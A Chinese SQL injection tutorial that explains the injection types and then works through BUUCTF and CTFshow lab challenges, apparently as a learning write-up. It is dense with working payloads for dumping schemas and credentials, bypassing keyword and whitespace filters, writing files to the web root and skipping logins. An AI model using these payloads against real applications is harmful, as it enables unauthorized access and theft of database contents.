↵
一、前言
SQL注入漏洞(SQL injection)是WEB层面高危的漏洞之一,也是常见的攻击方式。
二、本质
1、什么是SQL注入
SQL 注入是一种利用应用程序对用户输入数据过滤不严格,将恶意 SQL 代码插入到正常 SQL 语句中,从而操控数据库查询逻辑的攻击技术。
其核心原理是混淆代码与数据边界,使攻击者能够执行非授权的数据库操作。
关键条件
-
用户可控输入:攻击者能控制应用程序的输入参数(如 URL、表单、Cookie)。
-
拼接 SQL 语句:程序直接将用户输入拼接到 SQL 查询中,未做过滤或转义。
-
数据库权限过高:应用使用的数据库账户权限过大(如
root
)
三、注入类型
1. 联合查询注入
-
原理:通过
UNION
操作符将恶意查询拼接到原查询,合并结果集 -
利用条件:
-
原查询的列数与
UNION
后的查询列数一致 -
页面有回显查询结果的功能
-
2. 报错注入
原理:故意触发数据库报错,使错误信息中包含敏感数据
3. 布尔盲注
原理:通过页面返回的布尔状态(真/假差异,逐字符推断数据
适用场景:页面无回显,但会根据 SQL 执行结果返回不同内容(如登录成功/失败)
4. 时间盲注
原理:通过数据库的延时函数(如 SLEEP()、BENCHMARK()),根据响应时间判断条件真假
适用场景:页面无任何回显差异,但能感知响应延迟
5. 堆叠查询注入
原理:利用分号 ; 执行多条 SQL 语句,实现增删改查操作
依赖条件:数据库支持多语句执行(如 MySQL 的 mysqli_multi_query)
6. 二次注入
原理:恶意数据先被存储到数据库,后续查询时被触发执行
特点:绕过输入时的过滤(过滤不彻底或存储后未转义)
7. 宽字节注入
原理:利用数据库字符集编码(如 GBK)的特性,绕过转义符(\)
关键:构造 %df',与转义符 \ 结合成宽字符(如 %df%5c 对应 運),使单引号逃逸
8、姿势总结(自己总结的,根据实际情况改变)
1、判断注入点
?id=1' #看是否存在sql注入
#1' or 1=1#
#和--在sql语句中起着注释的作用,将后面的语句注释掉,+ 则代表空,#在浏览器中需要url编码
?id=1' and 1=1 --+ #观察是否有回显
?id=1' amd 1=2 --+
2、判断当前表的字段个数
1' order by 1# --+
3、判断显示位
?id=1' union select 1,2,3--+
4、爆出库
1'union select 1,2,database()--+
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
5、爆出表
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'--+
6、爆出列
?id=-1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'--+
7、查询内容
?id=-1' and 1=2 union select 1,2,group_concat(字段) from 库名.表名--+
#?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
四、靶场实现
BUUCTF CTF
1、easy_sql
1、进入靶场,输入1’ or 1=1
得到
2、输入1‘ or 1#将后面的注释掉
得到回显
3、判断一下字段个数' union select 1,2;#
select被过滤
4、输入1;show databases;#爆破库
得到该表的数据库内容
5、输入1';show tables;#爆破表
得到两表
6、查看一下第一个表1919810931114514的表结构
有两种方式
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
#注意,如果tableName是纯数字,需要用包裹,比如 1';desc 1919810931114514`;#
得到类型为字符型
方法一:因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
1';PREPARE hacker from concat('s','elect', '*from1919810931114514 ');EXECUTE hacker;#
方法二:
select*from`1919810931114514`
语句进行16进制编码,即:
73656c656374202a2066726f6d20603139313938313039333131313435313460,替换payload:
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
同时,我们也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
方法三:通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果
1';altertable words renameto words1;altertable`1919810931114514`renameto words;altertable words change flag id varchar(50);#
方法四:此题还可以通过handle直接出答案: 1';HANDLER
1919810931114514OPEN;HANDLER
1919810931114514READFIRST;HANDLER
1919810931114514CLOSE;
2、LoveSQL
1、使用1'出现报错说明存在SQL注入
2、使用万能密码得到
3、爆字段
check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1
得到有3个字段
4、看回显
1' union select 1,2,3#
得出回显位在2,3
5、爆数据库
1‘ union select 1,database(),version()#
得到数据库名geek 和数据库版本
6、爆数据表
1' union select 1,2,group_concat(table_name)from information_schema.tables where
table_schema=database()#
得到两张表
7、爆破字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where
table_name='l0ve1ysq1'#
8、爆破flag
1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1
3、BABYSQL
双写绕过
进入靶场
1、使用万能密码尝试
发现有过滤但是不知过滤什么
2、查看字段
发现过滤了or,双写绕过
1' oorr by 1#
3、爆破数据库
发现union select过滤
1' ununionion seselectlect 1,2,database()#
双写过后
找到数据库名称
4、爆破表
1' ununionion seselectlect 1,2,group_contact(table_name) from information_schema.tables where
table_schema='geek'#
双写后
1 1' ununionion seselectlect 1,2,group_concat(table_name) frfromom
infoorrmation_schema.tables whwhereere table_schema='geek'#
5、爆破列表
1 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom
infoorrmation_schema.columns whwhereere table_name='b4bsql'#
6、爆破字段
1 1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#
得到flag
CTFshow
WEB171
1、?id=1' order by 3--+ //判断回显位有三个字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表 ctfshow_user4、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+
//得到字段 id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user--+
//得到数据 admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{87b8e647-d1cb-4b46-a2b6-ee5bcf9219fc}
web172
1、?id=1' order by 2--+ //判断回显位有两个字段2、?id=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+//得到库名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//得到表ctfshow_user,ctfshow_user2,表1没有flag4、?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+
//得到字段id,username,password,5、?id=-1' and 1=2 union select 1,group_concat(password) from ctfshow_web.ctfshow_user2--+
//得到数据
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{ff5e89a0-2cd5-4213-963f-d0ac7267d004}
web173
1、?id=1' order by 3--+ //判断回显位有三个字段2、?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//爆出库名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
//爆出表 ctfshow_user,ctfshow_user2,ctfshow_user34、?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user3'--+
//得到字段 id,username,password5、?id=-1' and 1=2 union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3--+
//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,
ctfshow{25d9e295-dd78-46a7-9355-e06e53e2e357}
web174
//检查结果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}1、?id=1' order by 3--+ //判断回显位有2个字段2、?id=1' and 1=2 union select null,group_concat(schema_name) from information_schema.schemata--+
//用数字代表字段时没有回显,应该是被过滤了,所以换成null
得到库名 information_schema,test,mysql,performance_schema,ctfshow_web3、?id=1' and 1=2 union select null,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+
//因为0-9都被过滤了,所以将1-9-0替换成A-J
查询得ctfshow_userD替换为数字为ctfshow_user4、?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
得到flag ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
利用python,replace替换回来
def rev_replace(txt):repl = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}for k, v in repl.items():txt = txt.replace(k, v)return txttxt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)输入:ctfshow{IaGGBeAI-CdDE-DFbC-bddD-CHcceIFCGAcC}
替换后: ctfshow{9a772e19-3d45-46b3-bdd4-38cce96371c3}
得到flag
web175
1、写时间盲注脚本
2、' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
直接将flag写入到靶场服务器文件中
web176
1、1' order by 4--+ //无回显判断出回显位有三位
2、1' union select 1,2,3--+ //无法查询到数据1'--+和1' --+ //可以查询到数据说明单引号和空格没有被过滤1' union Select database(),2,3--+//查询到数据库名称ctfshow_web所以是select被过滤了,用大写绕过
3、' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+查询到数据库表名ctfshow_user
4、' union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'--+查询到数据库列名id,username,password
5、' union Select 1,group_concat(username),group_concat(password) from ctfshow_web.ctfshow_user--+查询字段数据//admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{e69b119f-1d03-4873-85ae-613dad8f4b9a}得到flag
web177
1、1'--+无数据显示--+编码后1'%23可以回显数据,所以--+被过滤1' %23无法显示数据,空格也被过滤1'%0a%23有回显
2、1'%0aor%0a1=1%23万能密码直接得到flag
3、1'%0aorder%0aby%0a4%23 //判断回显位为3按照上题步骤将空格和--+替换即可
'%0aunion%0aselect%0a1,group_concat(username),group_concat(password)%0afrom%0actfshow_web.ctfshow_user%23得到flag
web178
1、与上题一样空格和--+被过滤
万能密码直接得到flag或替换
web179
其他可替代空格的字符
URL编码 ASCII字符 说明
%20 空格 标准空格
%09 制表符 水平制表符(Tab)
%0a 换行符 新行(LF,Unix换行)
%0d 回车符 回车(CR,旧版Mac换行)
%0c 换页符 分页符(Form Feed)
空格与--+与%0a都被过滤
1、1'%0cor%0c1=1%23
web180
空格,--+,%0a,%23都被过滤了
用--%c闭合
也可以这样'or(id=26)and'1'='1
1、'union%0cselect%0c1,2,database()--%0c//得到数据库ctfshow_web
2、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
//得到表ctfshow_user
3、'%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
//得到列id,username,password
4、'%0cand%0c1=2%0cunion%0cselect%0c1,group_concat(username),group_concat(password)%0cfrom%0cctfshow_web.ctfshow_user--%0c
//得到flag
web181
1、1'%0cor%0c1=1--%0c万能密码
2、'or(id=26)and'1'='1
3、-1'%0cor%0cusername%0clike%0c'flag
4、这里我们主要用到and的优先级比or高可以看到源代码里面有and可以在and后面加or使其在执行了and以后 or的前后都执行所以构造payload-1'||username='flag
web182
1、1'%0cor%0c1=1--%0c
2、'or(id=26)and'1'='1
3、-1'||(username)like'%f% //模糊匹配
至此SQL注入告一段落